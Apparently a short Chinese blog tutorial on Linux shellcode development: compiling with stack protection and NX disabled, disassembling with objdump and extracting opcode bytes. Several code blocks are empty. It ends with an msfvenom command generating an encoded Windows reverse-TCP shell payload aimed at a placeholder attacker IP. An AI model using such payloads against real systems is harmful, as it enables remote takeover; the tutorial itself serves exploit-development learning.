Linux Shellcode开发
如果是64位系统需要安装32位依赖库:
1 | sudo apt-get install lib32z1 lib32ncurses-dev |
查阅Linux系统调用文档:http://syscalls.kernelgrok.com/。
编译Shellcode
汇编代码编译
1 | nasm -f elf32 Asamblare.asm -o shellcode.o |
C代码编译
用C写一个getshell的程序shell.c:
1 |
|
编译:
1 | gcc -O0 -fno-stack-protector -z execstack -m32 shell.c -o shell |
参数解释:
- -g:允许gdb进行源码级调试
- -m32:生成32位程序 (x64机器上编译32位程序需要加)
- -O0: 不进行任何优化
- -fno-stack-protector: 不开启canary栈溢出检测
- -z execstack: 开启栈可执行关闭 NX
反汇编程序
使用objdump反汇编shell程序,查看汇编代码:
1 | objdump -d shell |
为了方便的提取shell code,可以使用下面的命令:
1 | for i in `objdump -d shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\\x$i" ; done > shellcode.txt |
这里有个方便的工具Sh3llshock可以提取。
1 |
|
1 |
|
1 | msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=<attacker’s IP address> LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00’ -f python |
Reference
- Post title:Linux Shellcode开发
- Post author:ssooking
- Create time:2020-01-17 16:38:00
- Post link:https://ssooking.github.io/2020/01/linux-shellcode开发/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.